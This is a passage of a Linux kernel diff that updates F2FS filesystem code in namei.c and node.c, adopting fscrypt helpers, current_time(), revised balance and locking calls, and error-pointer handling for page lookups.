-47,7 +47,7 @@ static struct inode *f2fs_new_inode(struct inode *dir, umode_t mode) inode->i_ino = ino; inode->i_blocks = 0; - inode->i_mtime = inode->i_atime = inode->i_ctime = CURRENT_TIME; + inode->i_mtime = inode->i_atime = inode->i_ctime = current_time(inode); inode->i_generation = sbi->s_next_generation++; err = insert_inode_locked(inode); @@ -61,10 +61,14 @@ static struct inode *f2fs_new_inode(struct inode *dir, umode_t mode) if (f2fs_encrypted_inode(dir) && f2fs_may_encrypt(inode)) f2fs_set_encrypted_inode(inode); - if (f2fs_may_inline_data(inode)) - set_inode_flag(F2FS_I(inode), FI_INLINE_DATA); + set_inode_flag(inode, FI_NEW_INODE); + + if (test_opt(sbi, INLINE_XATTR)) + set_inode_flag(inode, FI_INLINE_XATTR); + if (test_opt(sbi, INLINE_DATA) && f2fs_may_inline_data(inode)) + set_inode_flag(inode, FI_INLINE_DATA); if (f2fs_may_inline_dentry(inode)) - set_inode_flag(F2FS_I(inode), FI_INLINE_DENTRY); + set_inode_flag(inode, FI_INLINE_DENTRY); f2fs_init_extent_tree(inode, NULL); @@ -73,14 +77,13 @@ static struct inode *f2fs_new_inode(struct inode *dir, umode_t mode) stat_inc_inline_dir(inode); trace_f2fs_new_inode(inode, 0); - mark_inode_dirty(inode); return inode; fail: trace_f2fs_new_inode(inode, err); make_bad_inode(inode); if (nid_free) - set_inode_flag(F2FS_I(inode), FI_FREE_NID); + set_inode_flag(inode, FI_FREE_NID); iput(inode); return ERR_PTR(err); } @@ -89,18 +92,23 @@ static int is_multimedia_file(const unsigned char *s, const char *sub) { size_t slen = strlen(s); size_t sublen = strlen(sub); + int i; /* * filename format of multimedia file should be defined as: - * "filename + '.' + extension". + * "filename + '.' + extension + (optional: '.' + temp extension)". */ if (slen < sublen + 2) return 0; - if (s[slen - sublen - 1] != '.') - return 0; + for (i = 1; i < slen - sublen; i++) { + if (s[i] != '.') + continue; + if (!strncasecmp(s + i + 1, sub, sublen)) + return 1; + } - return !strncasecmp(s + slen - sublen, sub, sublen); + return 0; } /* @@ -129,8 +137,6 @@ static int f2fs_create(struct inode *dir, struct dentry *dentry, umode_t mode, nid_t ino = 0; int err; - f2fs_balance_fs(sbi); - inode = f2fs_new_inode(dir, mode); if (IS_ERR(inode)) return PTR_ERR(inode); @@ -143,6 +149,8 @@ static int f2fs_create(struct inode *dir, struct dentry *dentry, umode_t mode, inode->i_mapping->a_ops = &f2fs_dblock_aops; ino = inode->i_ino; + f2fs_balance_fs(sbi, true); + f2fs_lock_op(sbi); err = f2fs_add_link(dentry, inode); if (err) @@ -165,20 +173,20 @@ static int f2fs_create(struct inode *dir, struct dentry *dentry, umode_t mode, static int f2fs_link(struct dentry *old_dentry, struct inode *dir, struct dentry *dentry) { - struct inode *inode = old_dentry->d_inode; + struct inode *inode = d_inode(old_dentry); struct f2fs_sb_info *sbi = F2FS_I_SB(dir); int err; if (f2fs_encrypted_inode(dir) && - !f2fs_is_child_context_consistent_with_parent(dir, inode)) + !fscrypt_has_permitted_context(dir, inode)) return -EPERM; - f2fs_balance_fs(sbi); + f2fs_balance_fs(sbi, true); - inode->i_ctime = CURRENT_TIME; + inode->i_ctime = current_time(inode); ihold(inode); - set_inode_flag(F2FS_I(inode), FI_INC_LINK); + set_inode_flag(inode, FI_INC_LINK); f2fs_lock_op(sbi); err = f2fs_add_link(dentry, inode); if (err) @@ -191,7 +199,7 @@ static int f2fs_link(struct dentry *old_dentry, struct inode *dir, f2fs_sync_fs(sbi->sb, 1); return 0; out: - clear_inode_flag(F2FS_I(inode), FI_INC_LINK); + clear_inode_flag(inode, FI_INC_LINK); iput(inode); f2fs_unlock_op(sbi); return err; @@ -200,27 +208,43 @@ static int f2fs_link(struct dentry *old_dentry, struct inode *dir, struct dentry *f2fs_get_parent(struct dentry *child) { struct qstr dotdot = QSTR_INIT("..", 2); - unsigned long ino = f2fs_inode_by_name(child->d_inode, &dotdot); - if (!ino) + struct page *page; + unsigned long ino = f2fs_inode_by_name(d_inode(child), &dotdot, &page); + if (!ino) { + if (IS_ERR(page)) + return ERR_CAST(page); return ERR_PTR(-ENOENT); - return d_obtain_alias(f2fs_iget(child->d_inode->i_sb, ino)); + } + return d_obtain_alias(f2fs_iget(child->d_sb, ino)); } static int __recover_dot_dentries(struct inode *dir, nid_t pino) { struct f2fs_sb_info *sbi = F2FS_I_SB(dir); - struct qstr dot = {.len = 1, .name = "."}; - struct qstr dotdot = {.len = 2, .name = ".."}; + struct qstr dot = QSTR_INIT(".", 1); + struct qstr dotdot = QSTR_INIT("..", 2); struct f2fs_dir_entry *de; struct page *page; int err = 0; + if (f2fs_readonly(sbi->sb)) { + f2fs_msg(sbi->sb, KERN_INFO, + "skip recovering inline_dots inode (ino:%lu, pino:%u) " + "in readonly mountpoint", dir->i_ino, pino); + return 0; + } + + f2fs_balance_fs(sbi, true); + f2fs_lock_op(sbi); de = f2fs_find_entry(dir, &dot, &page); if (de) { f2fs_dentry_kunmap(dir, page); f2fs_put_page(page, 0); + } else if (IS_ERR(page)) { + err = PTR_ERR(page); + goto out; } else { err = __f2fs_add_link(dir, &dot, NULL, dir->i_ino, S_IFDIR); if (err) @@ -231,14 +255,14 @@ static int __recover_dot_dentries(struct inode *dir, nid_t pino) if (de) { f2fs_dentry_kunmap(dir, page); f2fs_put_page(page, 0); + } else if (IS_ERR(page)) { + err = PTR_ERR(page); } else { err = __f2fs_add_link(dir, &dotdot, NULL, pino, S_IFDIR); } out: - if (!err) { - clear_inode_flag(F2FS_I(dir), FI_INLINE_DOTS); - mark_inode_dirty(dir); - } + if (!err) + clear_inode_flag(dir, FI_INLINE_DOTS); f2fs_unlock_op(sbi); return err; @@ -252,13 +276,32 @@ static struct dentry *f2fs_lookup(struct inode *dir, struct dentry *dentry, struct page *page; nid_t ino; int err = 0; + unsigned int root_ino = F2FS_ROOT_INO(F2FS_I_SB(dir)); + + if (f2fs_encrypted_inode(dir)) { + int res = fscrypt_get_encryption_info(dir); + + /* + * DCACHE_ENCRYPTED_WITH_KEY is set if the dentry is + * created while the directory was encrypted and we + * don't have access to the key. + */ + if (fscrypt_has_encryption_key(dir)) + fscrypt_set_encrypted_dentry(dentry); + fscrypt_set_d_op(dentry); + if (res && res != -ENOKEY) + return ERR_PTR(res); + } if (dentry->d_name.len > F2FS_NAME_LEN) return ERR_PTR(-ENAMETOOLONG); de = f2fs_find_entry(dir, &dentry->d_name, &page); - if (!de) + if (!de) { + if (IS_ERR(page)) + return (struct dentry *)page; return d_splice_alias(inode, dentry); + } ino = le32_to_cpu(de->ino); f2fs_dentry_kunmap(dir, page); @@ -268,32 +311,50 @@ static struct dentry *f2fs_lookup(struct inode *dir, struct dentry *dentry, if (IS_ERR(inode)) return ERR_CAST(inode); + if ((dir->i_ino == root_ino) && f2fs_has_inline_dots(dir)) { + err = __recover_dot_dentries(dir, root_ino); + if (err) + goto err_out; + } + if (f2fs_has_inline_dots(inode)) { err = __recover_dot_dentries(inode, dir->i_ino); if (err) goto err_out; } + if (!IS_ERR(inode) && f2fs_encrypted_inode(dir) && + (S_ISDIR(inode->i_mode) || S_ISLNK(inode->i_mode)) && + !fscrypt_has_permitted_context(dir, inode)) { + bool nokey = f2fs_encrypted_inode(inode) && + !fscrypt_has_encryption_key(inode); + err = nokey ? -ENOKEY : -EPERM; + goto err_out; + } return d_splice_alias(inode, dentry); err_out: - iget_failed(inode); + iput(inode); return ERR_PTR(err); } static int f2fs_unlink(struct inode *dir, struct dentry *dentry) { struct f2fs_sb_info *sbi = F2FS_I_SB(dir); - struct inode *inode = dentry->d_inode; + struct inode *inode = d_inode(dentry); struct f2fs_dir_entry *de; struct page *page; int err = -ENOENT; trace_f2fs_unlink_enter(dir, dentry); - f2fs_balance_fs(sbi); de = f2fs_find_entry(dir, &dentry->d_name, &page); - if (!de) + if (!de) { + if (IS_ERR(page)) + err = PTR_ERR(page); goto fail; + } + + f2fs_balance_fs(sbi, true); f2fs_lock_op(sbi); err = acquire_orphan_inode(sbi); @@ -306,9 +367,6 @@ static int f2fs_unlink(struct inode *dir, struct dentry *dentry) f2fs_delete_entry(de, page, dir, inode); f2fs_unlock_op(sbi); - /* In order to evict this inode, we set it dirty */ - mark_inode_dirty(inode); - if (IS_DIRSYNC(dir)) f2fs_sync_fs(sbi->sb, 1); fail: @@ -344,16 +402,24 @@ static int f2fs_symlink(struct inode *dir, struct dentry *dentry, struct f2fs_sb_info *sbi = F2FS_I_SB(dir); struct inode *inode; size_t len = strlen(symname); - size_t p_len; - char *p_str; - struct f2fs_str disk_link = FSTR_INIT(NULL, 0); - struct f2fs_encrypted_symlink_data *sd = NULL; + struct fscrypt_str disk_link = FSTR_INIT((char *)symname, len + 1); + struct fscrypt_symlink_data *sd = NULL; int err; - if (len > dir->i_sb->s_blocksize) - return -ENAMETOOLONG; + if (f2fs_encrypted_inode(dir)) { + err = fscrypt_get_encryption_info(dir); + if (err) + return err; - f2fs_balance_fs(sbi); + if (!fscrypt_has_encryption_key(dir)) + return -EPERM; + + disk_link.len = (fscrypt_fname_encrypted_size(dir, len) + + sizeof(struct fscrypt_symlink_data)); + } + + if (disk_link.len > dir->i_sb->s_blocksize) + return -ENAMETOOLONG; inode = f2fs_new_inode(dir, S_IFLNK | S_IRWXUGO); if (IS_ERR(inode)) @@ -363,8 +429,11 @@ static int f2fs_symlink(struct inode *dir, struct dentry *dentry, inode->i_op = &f2fs_encrypted_symlink_inode_operations; else inode->i_op = &f2fs_symlink_inode_operations; + inode_nohighmem(inode); inode->i_mapping->a_ops = &f2fs_dblock_aops; + f2fs_balance_fs(sbi, true); + f2fs_lock_op(sbi); err = f2fs_add_link(dentry, inode); if (err) @@ -372,42 +441,36 @@ static int f2fs_symlink(struct inode *dir, struct dentry *dentry, f2fs_unlock_op(sbi); alloc_nid_done(sbi, inode->i_ino); - if (f2fs_encrypted_inode(dir)) { + if (f2fs_encrypted_inode(inode)) { struct qstr istr = QSTR_INIT(symname, len); + struct fscrypt_str ostr; - err = f2fs_get_encryption_info(inode); - if (err) + sd = kzalloc(disk_link.len, GFP_NOFS); + if (!sd) { + err = -ENOMEM; goto err_out; + } - err = f2fs_fname_crypto_alloc_buffer(inode, len, &disk_link); + err = fscrypt_get_encryption_info(inode); if (err) goto err_out; - err = f2fs_fname_usr_to_disk(inode, &istr, &disk_link); - if (err < 0) - goto err_out; - - p_len = encrypted_symlink_data_len(disk_link.len) + 1; - - if (p_len > dir->i_sb->s_blocksize) { - err = -ENAMETOOLONG; + if (!fscrypt_has_encryption_key(inode)) { + err = -EPERM; goto err_out; } - sd = kzalloc(p_len, GFP_NOFS); - if (!sd) { - err = -ENOMEM; + ostr.name = sd->encrypted_path; + ostr.len = disk_link.len; + err = fscrypt_fname_usr_to_disk(inode, &istr, &ostr); + if (err) goto err_out; - } - memcpy(sd->encrypted_path, disk_link.name, disk_link.len); - sd->len = cpu_to_le16(disk_link.len); - p_str = (char *)sd; - } else { - p_len = len + 1; - p_str = (char *)symname; + + sd->len = cpu_to_le16(ostr.len); + disk_link.name = (char *)sd; } - err = page_symlink(inode, p_str, p_len); + err = page_symlink(inode, disk_link.name, disk_link.len); err_out: d_instantiate(dentry, inode); @@ -423,7 +486,8 @@ static int f2fs_symlink(struct inode *dir, struct dentry *dentry, * performance regression. */ if (!err) { - filemap_write_and_wait_range(inode->i_mapping, 0, p_len - 1); + filemap_write_and_wait_range(inode->i_mapping, 0, + disk_link.len - 1); if (IS_DIRSYNC(dir)) f2fs_sync_fs(sbi->sb, 1); @@ -432,7 +496,6 @@ static int f2fs_symlink(struct inode *dir, struct dentry *dentry, } kfree(sd); - f2fs_fname_crypto_free_buffer(&disk_link); return err; out: handle_failed_inode(inode); @@ -445,8 +508,6 @@ static int f2fs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) struct inode *inode; int err; - f2fs_balance_fs(sbi); - inode = f2fs_new_inode(dir, S_IFDIR | mode); if (IS_ERR(inode)) return PTR_ERR(inode); @@ -456,7 +517,9 @@ static int f2fs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) inode->i_mapping->a_ops = &f2fs_dblock_aops; mapping_set_gfp_mask(inode->i_mapping, GFP_F2FS_HIGH_ZERO); - set_inode_flag(F2FS_I(inode), FI_INC_LINK); + f2fs_balance_fs(sbi, true); + + set_inode_flag(inode, FI_INC_LINK); f2fs_lock_op(sbi); err = f2fs_add_link(dentry, inode); if (err) @@ -473,14 +536,14 @@ static int f2fs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) return 0; out_fail: - clear_inode_flag(F2FS_I(inode), FI_INC_LINK); + clear_inode_flag(inode, FI_INC_LINK); handle_failed_inode(inode); return err; } static int f2fs_rmdir(struct inode *dir, struct dentry *dentry) { - struct inode *inode = dentry->d_inode; + struct inode *inode = d_inode(dentry); if (f2fs_empty_dir(inode)) return f2fs_unlink(dir, dentry); return -ENOTEMPTY; @@ -496,8 +559,6 @@ static int f2fs_mknod(struct inode *dir, struct dentry *dentry, if (!new_valid_dev(rdev)) return -EINVAL; - f2fs_balance_fs(sbi); - inode = f2fs_new_inode(dir, mode); if (IS_ERR(inode)) return PTR_ERR(inode); @@ -505,6 +566,8 @@ static int f2fs_mknod(struct inode *dir, struct dentry *dentry, init_special_inode(inode, inode->i_mode, rdev); inode->i_op = &f2fs_special_inode_operations; + f2fs_balance_fs(sbi, true); + f2fs_lock_op(sbi); err = f2fs_add_link(dentry, inode); if (err) @@ -528,33 +591,36 @@ static int f2fs_rename(struct inode *old_dir, struct dentry *old_dentry, struct inode *new_dir, struct dentry *new_dentry) { struct f2fs_sb_info *sbi = F2FS_I_SB(old_dir); - struct inode *old_inode = old_dentry->d_inode; - struct inode *new_inode = new_dentry->d_inode; + struct inode *old_inode = d_inode(old_dentry); + struct inode *new_inode = d_inode(new_dentry); struct page *old_dir_page; struct page *old_page, *new_page; struct f2fs_dir_entry *old_dir_entry = NULL; struct f2fs_dir_entry *old_entry; struct f2fs_dir_entry *new_entry; + bool is_old_inline = f2fs_has_inline_dentry(old_dir); int err = -ENOENT; if ((old_dir != new_dir) && f2fs_encrypted_inode(new_dir) && - !f2fs_is_child_context_consistent_with_parent(new_dir, - old_inode)) { + !fscrypt_has_permitted_context(new_dir, old_inode)) { err = -EPERM; goto out; } - f2fs_balance_fs(sbi); - old_entry = f2fs_find_entry(old_dir, &old_dentry->d_name, &old_page); - if (!old_entry) + if (!old_entry) { + if (IS_ERR(old_page)) + err = PTR_ERR(old_page); goto out; + } if (S_ISDIR(old_inode->i_mode)) { - err = -EIO; old_dir_entry = f2fs_parent_dir(old_inode, &old_dir_page); - if (!old_dir_entry) + if (!old_dir_entry) { + if (IS_ERR(old_dir_page)) + err = PTR_ERR(old_dir_page); goto out_old; + } } if (new_inode) { @@ -566,8 +632,13 @@ static int f2fs_rename(struct inode *old_dir, struct dentry *old_dentry, err = -ENOENT; new_entry = f2fs_find_entry(new_dir, &new_dentry->d_name, &new_page); - if (!new_entry) + if (!new_entry) { + if (IS_ERR(new_page)) + err = PTR_ERR(new_page); goto out_dir; + } + + f2fs_balance_fs(sbi, true); f2fs_lock_op(sbi); @@ -575,31 +646,29 @@ static int f2fs_rename(struct inode *old_dir, struct dentry *old_dentry, if (err) goto put_out_dir; - if (update_dent_inode(old_inode, new_inode, - &new_dentry->d_name)) { + err = update_dent_inode(old_inode, new_inode, + &new_dentry->d_name); + if (err) { release_orphan_inode(sbi); goto put_out_dir; } f2fs_set_link(new_dir, new_entry, new_page, old_inode); - new_inode->i_ctime = CURRENT_TIME; + new_inode->i_ctime = current_time(new_inode); down_write(&F2FS_I(new_inode)->i_sem); if (old_dir_entry) - drop_nlink(new_inode); - drop_nlink(new_inode); + f2fs_i_links_write(new_inode, false); + f2fs_i_links_write(new_inode, false); up_write(&F2FS_I(new_inode)->i_sem); - mark_inode_dirty(new_inode); - if (!new_inode->i_nlink) - add_orphan_inode(sbi, new_inode->i_ino); + add_orphan_inode(new_inode); else release_orphan_inode(sbi); - - update_inode_page(old_inode); - update_inode_page(new_inode); } else { + f2fs_balance_fs(sbi, true); + f2fs_lock_op(sbi); err = f2fs_add_link(new_dentry, old_inode); @@ -608,9 +677,29 @@ static int f2fs_rename(struct inode *old_dir, struct dentry *old_dentry, goto out_dir; } - if (old_dir_entry) { - inc_nlink(new_dir); - update_inode_page(new_dir); + if (old_dir_entry) + f2fs_i_links_write(new_dir, true); + + /* + * old entry and new entry can locate in the same inline + * dentry in inode, when attaching new entry in inline dentry, + * it could force inline dentry conversion, after that, + * old_entry and old_page will point to wrong address, in + * order to avoid this, let's do the check and update here. + */ + if (is_old_inline && !f2fs_has_inline_dentry(old_dir)) { + f2fs_put_page(old_page, 0); + old_page = NULL; + + old_entry = f2fs_find_entry(old_dir, + &old_dentry->d_name, &old_page); + if (!old_entry) { + err = -ENOENT; + if (IS_ERR(old_page)) + err = PTR_ERR(old_page); + f2fs_unlock_op(sbi); + goto out_dir; + } } } @@ -620,8 +709,8 @@ static int f2fs_rename(struct inode *old_dir, struct dentry *old_dentry, file_set_enc_name(old_inode); up_write(&F2FS_I(old_inode)->i_sem); - old_inode->i_ctime = CURRENT_TIME; - mark_inode_dirty(old_inode); + old_inode->i_ctime = current_time(old_inode); + f2fs_mark_inode_dirty_sync(old_inode, false); f2fs_delete_entry(old_entry, old_page, old_dir, NULL); @@ -629,14 +718,11 @@ static int f2fs_rename(struct inode *old_dir, struct dentry *old_dentry, if (old_dir != new_dir) { f2fs_set_link(old_inode, old_dir_entry, old_dir_page, new_dir); - update_inode_page(old_inode); } else { f2fs_dentry_kunmap(old_inode, old_dir_page); f2fs_put_page(old_dir_page, 0); } - drop_nlink(old_dir); - mark_inode_dirty(old_dir); - update_inode_page(old_dir); + f2fs_i_links_write(old_dir, false); } f2fs_unlock_op(sbi); @@ -661,74 +747,68 @@ static int f2fs_rename(struct inode *old_dir, struct dentry *old_dentry, return err; } -#ifdef CONFIG_F2FS_FS_ENCRYPTION static void *f2fs_encrypted_follow_link(struct dentry *dentry, struct nameidata *nd) { struct page *cpage = NULL; char *caddr, *paddr = NULL; - struct f2fs_str cstr; - struct f2fs_str pstr = FSTR_INIT(NULL, 0); - struct inode *inode = dentry->d_inode; - struct f2fs_encrypted_symlink_data *sd; - loff_t size = min_t(loff_t, i_size_read(inode), PAGE_SIZE - 1); + struct fscrypt_str cstr = FSTR_INIT(NULL, 0); + struct fscrypt_str pstr = FSTR_INIT(NULL, 0); + struct fscrypt_symlink_data *sd; + struct inode *inode = d_inode(dentry); u32 max_size = inode->i_sb->s_blocksize; int res; - res = f2fs_get_encryption_info(inode); + res = fscrypt_get_encryption_info(inode); if (res) return ERR_PTR(res); cpage = read_mapping_page(inode->i_mapping, 0, NULL); if (IS_ERR(cpage)) - return cpage; + return ERR_CAST(cpage); caddr = kmap(cpage); - caddr[size] = 0; /* Symlink is encrypted */ - sd = (struct f2fs_encrypted_symlink_data *)caddr; + sd = (struct fscrypt_symlink_data *)caddr; + cstr.name = sd->encrypted_path; cstr.len = le16_to_cpu(sd->len); - cstr.name = kmalloc(cstr.len, GFP_NOFS); - if (!cstr.name) { - res = -ENOMEM; - goto errout; - } - memcpy(cstr.name, sd->encrypted_path, cstr.len); /* this is broken symlink case */ - if (cstr.name[0] == 0 && cstr.len == 0) { + if (unlikely(cstr.len == 0)) { res = -ENOENT; goto errout; } - if ((cstr.len + sizeof(struct f2fs_encrypted_symlink_data) - 1) > - max_size) { + if ((cstr.len + sizeof(struct fscrypt_symlink_data) - 1) > max_size) { /* Symlink data on the disk is corrupted */ res = -EIO; goto errout; } - res = f2fs_fname_crypto_alloc_buffer(inode, cstr.len, &pstr); + res = fscrypt_fname_alloc_buffer(inode, cstr.len, &pstr); if (res) goto errout; - res = f2fs_fname_disk_to_usr(inode, NULL, &cstr, &pstr); - if (res < 0) + res = fscrypt_fname_disk_to_usr(inode, 0, 0, &cstr, &pstr); + if (res) goto errout; - kfree(cstr.name); + /* this is broken symlink case */ + if (unlikely(pstr.name[0] == 0)) { + res = -ENOENT; + goto errout; + } paddr = pstr.name; /* Null-terminate the name */ - paddr[res] = '\0'; + paddr[pstr.len] = '\0'; nd_set_link(nd, paddr); kunmap(cpage); page_cache_release(cpage); return NULL; errout: - kfree(cstr.name); - f2fs_fname_crypto_free_buffer(&pstr); + fscrypt_fname_free_buffer(&pstr); kunmap(cpage); page_cache_release(cpage); return ERR_PTR(res); @@ -748,12 +828,13 @@ const struct inode_operations f2fs_encrypted_symlink_inode_operations = { .put_link = kfree_put_link, .getattr = f2fs_getattr, .setattr = f2fs_setattr, +#ifdef CONFIG_F2FS_FS_XATTR .setxattr = generic_setxattr, .getxattr = generic_getxattr, .listxattr = f2fs_listxattr, .removexattr = generic_removexattr, -}; #endif +}; const struct inode_operations f2fs_dir_inode_operations = { .create = f2fs_create, diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c index 413d7724bdf93..adc52d86fae28 100644 --- a/fs/f2fs/node.c +++ b/fs/f2fs/node.c @@ -24,6 +24,16 @@ #define on_build_free_nids(nmi) mutex_is_locked(&nm_i->build_lock) +#ifndef PTR_ERR_OR_ZERO +static inline int __must_check PTR_ERR_OR_ZERO(__force const void *ptr) +{ + if (IS_ERR(ptr)) + return PTR_ERR(ptr); + else + return 0; +} +#endif + static struct kmem_cache *nat_entry_slab; static struct kmem_cache *free_nid_slab; static struct kmem_cache *nat_entry_set_slab; @@ -45,13 +55,15 @@ bool available_free_memory(struct f2fs_sb_info *sbi, int type) * give 25%, 25%, 50%, 50%, 50% memory for each components respectively */ if (type == FREE_NIDS) { - mem_size = (nm_i->fcnt * sizeof(struct free_nid)) >> - PAGE_CACHE_SHIFT; + mem_size = (nm_i->nid_cnt[FREE_NID_LIST] * + sizeof(struct free_nid)) >> PAGE_SHIFT; res = mem_size < ((avail_ram * nm_i->ram_thresh / 100) >> 2); } else if (type == NAT_ENTRIES) { mem_size = (nm_i->nat_cnt * sizeof(struct nat_entry)) >> - PAGE_CACHE_SHIFT; + PAGE_SHIFT; res = mem_size < ((avail_ram * nm_i->ram_thresh / 100) >> 2); + if (excess_cached_nats(sbi)) + res = false; } else if (type == DIRTY_DENTS) { if (sbi->sb->s_bdi->dirty_exceeded) return false; @@ -62,16 +74,17 @@ bool available_free_memory(struct f2fs_sb_info *sbi, int type) for (i = 0; i <= UPDATE_INO; i++) mem_size += (sbi->im[i].ino_num * - sizeof(struct ino_entry)) >> PAGE_CACHE_SHIFT; + sizeof(struct ino_entry)) >> PAGE_SHIFT; res = mem_size < ((avail_ram * nm_i->ram_thresh / 100) >> 1); } else if (type == EXTENT_CACHE) { - mem_size = (sbi->total_ext_tree * sizeof(struct extent_tree) + + mem_size = (atomic_read(&sbi->total_ext_tree) * + sizeof(struct extent_tree) + atomic_read(&sbi->total_ext_node) * - sizeof(struct extent_node)) >> PAGE_CACHE_SHIFT; + sizeof(struct extent_node)) >> PAGE_SHIFT; res = mem_size < ((avail_ram * nm_i->ram_thresh / 100) >> 1); } else { - if (sbi->sb->s_bdi->dirty_exceeded) - return false; + if (!sbi->sb->s_bdi->dirty_exceeded) + return true; } return res; } @@ -120,7 +133,7 @@ static struct page *get_next_nat_page(struct f2fs_sb_info *sbi, nid_t nid) src_addr = page_address(src_page); dst_addr = page_address(dst_page); - memcpy(dst_addr, src_addr, PAGE_CACHE_SIZE); + memcpy(dst_addr, src_addr, PAGE_SIZE); set_page_dirty(dst_page); f2fs_put_page(src_page, 1); @@ -256,18 +269,22 @@ static struct nat_entry *grab_nat_entry(struct f2fs_nm_info *nm_i, nid_t nid) return new; } -static void cache_nat_entry(struct f2fs_nm_info *nm_i, nid_t nid, +static void cache_nat_entry(struct f2fs_sb_info *sbi, nid_t nid, struct f2fs_nat_entry *ne) { + struct f2fs_nm_info *nm_i = NM_I(sbi); struct nat_entry *e; - down_write(&nm_i->nat_tree_lock); e = __lookup_nat_cache(nm_i, nid); if (!e) { e = grab_nat_entry(nm_i, nid); node_info_from_raw_nat(&e->ni, ne); + } else { + f2fs_bug_on(sbi, nat_get_ino(e) != le32_to_cpu(ne->ino) || + nat_get_blkaddr(e) != + le32_to_cpu(ne->block_addr) || + nat_get_version(e) != ne->version); } - up_write(&nm_i->nat_tree_lock); } static void set_node_addr(struct f2fs_sb_info *sbi, struct node_info *ni, @@ -355,7 +372,7 @@ void get_node_info(struct f2fs_sb_info *sbi, nid_t nid, struct node_info *ni) { struct f2fs_nm_info *nm_i = NM_I(sbi); struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_HOT_DATA); - struct f2fs_summary_block *sum = curseg->sum_blk; + struct f2fs_journal *journal = curseg->journal; nid_t start_nid = START_NID(nid); struct f2fs_nat_block *nat_blk; struct page *page = NULL; @@ -372,21 +389,20 @@ void get_node_info(struct f2fs_sb_info *sbi, nid_t nid, struct node_info *ni) ni->ino = nat_get_ino(e); ni->blk_addr = nat_get_blkaddr(e); ni->version = nat_get_version(e); - } - up_read(&nm_i->nat_tree_lock); - if (e) + up_read(&nm_i->nat_tree_lock); return; + } memset(&ne, 0, sizeof(struct f2fs_nat_entry)); /* Check current segment summary */ - mutex_lock(&curseg->curseg_mutex); - i = lookup_journal_in_cursum(sum, NAT_JOURNAL, nid, 0); + down_read(&curseg->journal_rwsem); + i = lookup_journal_in_cursum(journal, NAT_JOURNAL, nid, 0); if (i >= 0) { - ne = nat_in_journal(sum, i); + ne = nat_in_journal(journal, i); node_info_from_raw_nat(ni, &ne); } - mutex_unlock(&curseg->curseg_mutex); + up_read(&curseg->journal_rwsem); if (i >= 0) goto cache; @@ -397,18 +413,75 @@ void get_node_info(struct f2fs_sb_info *sbi, nid_t nid, struct node_info *ni) node_info_from_raw_nat(ni, &ne); f2fs_put_page(page, 1); cache: + up_read(&nm_i->nat_tree_lock); /* cache nat entry */ - cache_nat_entry(NM_I(sbi), nid, &ne); + down_write(&nm_i->nat_tree_lock); + cache_nat_entry(sbi, nid, &ne); + up_write(&nm_i->nat_tree_lock); +} + +/* + * readahead MAX_RA_NODE number of node pages. + */ +static void ra_node_pages(struct page *parent, int start, int n) +{ + struct f2fs_sb_info *sbi = F2FS_P_SB(parent); + struct blk_plug plug; + int i, end; + nid_t nid; + + blk_start_plug(&plug); + + /* Then, try readahead for siblings of the desired node */ + end = start + n; + end = min(end, NIDS_PER_BLOCK); + for (i = start; i < end; i++) { + nid = get_nid(parent, i, false); + ra_node_page(sbi, nid); + } + + blk_finish_plug(&plug); +} + +pgoff_t get_next_page_offset(struct dnode_of_data *dn, pgoff_t pgofs) +{ + const long direct_index = ADDRS_PER_INODE(dn->inode); + const long direct_blks = ADDRS_PER_BLOCK; + const long indirect_blks = ADDRS_PER_BLOCK * NIDS_PER_BLOCK; + unsigned int skipped_unit = ADDRS_PER_BLOCK; + int cur_level = dn->cur_level; + int max_level = dn->max_level; + pgoff_t base = 0; + + if (!dn->max_level) + return pgofs + 1; + + while (max_level-- > cur_level) + skipped_unit *= NIDS_PER_BLOCK; + + switch (dn->max_level) { + case 3: + base += 2 * indirect_blks; + case 2: + base += 2 * direct_blks; + case 1: + base += direct_index; + break; + default: + f2fs_bug_on(F2FS_I_SB(dn->inode), 1); + } + + return ((pgofs - base) / skipped_unit + 1) * skipped_unit + base; } /* * The maximum depth is four. * Offset[0] will have raw inode offset. */ -static int get_node_path(struct f2fs_inode_info *fi, long block, +static int get_node_path(struct inode *inode, long block, int offset[4], unsigned int noffset[4]) { - const long direct_index = ADDRS_PER_INODE(fi); + const long direct_index = ADDRS_PER_INODE(inode); const long direct_blks = ADDRS_PER_BLOCK; const long dptrs_per_blk = NIDS_PER_BLOCK; const long indirect_blks = ADDRS_PER_BLOCK * NIDS_PER_BLOCK; @@ -493,10 +566,10 @@ int get_dnode_of_data(struct dnode_of_data *dn, pgoff_t index, int mode) int offset[4]; unsigned int noffset[4]; nid_t nids[4]; - int level, i; + int level, i = 0; int err = 0; - level = get_node_path(F2FS_I(dn->inode), index, offset, noffset); + level = get_node_path(dn->inode, index, offset, noffset); nids[0] = dn->inode->i_ino; npage[0] = dn->inode_page; @@ -583,6 +656,11 @@ int get_dnode_of_data(struct dnode_of_data *dn, pgoff_t index, int mode) release_out: dn->inode_page = NULL; dn->node_page = NULL; + if (err == -ENOENT) { + dn->cur_level = i; + dn->max_level = level; + dn->ofs_in_node = offset[level]; + } return err; } @@ -606,8 +684,7 @@ static void truncate_node(struct dnode_of_data *dn) if (dn->nid == dn->inode->i_ino) { remove_orphan_inode(sbi, dn->nid); dec_valid_inode_count(sbi); - } else { - sync_inode_page(dn); + f2fs_inode_synced(dn->inode); } invalidate: clear_node_page_dirty(dn->node_page); @@ -666,6 +743,8 @@ static int truncate_nodes(struct dnode_of_data *dn, unsigned int nofs, return PTR_ERR(page); } + ra_node_pages(page, ofs, NIDS_PER_BLOCK); + rn = F2FS_NODE(page); if (depth < 3) { for (i = ofs; i < NIDS_PER_BLOCK; i++, freed++) { @@ -676,7 +755,8 @@ static int truncate_nodes(struct dnode_of_data *dn, unsigned int nofs, ret = truncate_dnode(&rdn); if (ret < 0) goto out_err; - set_nid(page, i, 0, false); + if (set_nid(page, i, 0, false)) + dn->node_changed = true; } } else { child_nofs = nofs + ofs * (NIDS_PER_BLOCK + 1) + 1; @@ -689,7 +769,8 @@ static int truncate_nodes(struct dnode_of_data *dn, unsigned int nofs, rdn.nid = child_nid; ret = truncate_nodes(&rdn, child_nofs, 0, depth - 1); if (ret == (NIDS_PER_BLOCK + 1)) { - set_nid(page, i, 0, false); + if (set_nid(page, i, 0, false)) + dn->node_changed = true; child_nofs += ret; } else if (ret < 0 && ret != -ENOENT) { goto out_err; @@ -741,6 +822,8 @@ static int 